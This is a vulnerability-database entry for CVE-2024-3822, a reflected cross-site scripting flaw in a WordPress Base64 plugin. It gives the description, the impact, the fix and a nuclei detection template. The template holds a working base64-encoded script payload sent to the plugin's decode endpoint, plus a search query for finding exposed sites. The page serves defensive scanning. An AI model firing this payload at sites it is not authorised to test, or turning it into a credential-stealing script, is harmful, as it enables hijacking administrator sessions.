HexBrain

Browse / CVEs / CVE-2024-3822

CVE-2024-3822· CWE-79

Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting

mediumseverity
6.5CVSS score
0.7%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it

The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Unauthenticated attackers can inject malicious JavaScript to target high-privilege users like administrators, potentially leading to session hijacking, privilege escalation, or administrative account compromise.

Fix

Upgrade to the latest version of the Base64 Encoder/Decoder plugin that addresses this XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4=
Positive when: status_code == 200 and contains(header, "text/html") and contains(body, "<p><script>alert(\"document.domain\")</script></p>")

Run it with nuclei: nuclei -id CVE-2024-3822 -u <target>

The full check
id: CVE-2024-3822

info:
  name: Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
  author: omranisecurity
  severity: medium
  description: |
    The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript to target high-privilege users like administrators, potentially leading to session hijacking, privilege escalation, or administrative account compromise.
  remediation: |
    Upgrade to the latest version of the Base64 Encoder/Decoder plugin that addresses this XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3822
    - https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-3822
    cwe-id: CWE-79
    epss-score: 0.00747
    epss-percentile: 0.55188
  metadata:
    verified: true
    max-request: 1
    fofa-query: "wp-content/plugins/base64-encoderdecoder/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,xss,base64-encoderdecoder,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<p><script>alert(\"document.domain\")</script></p>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from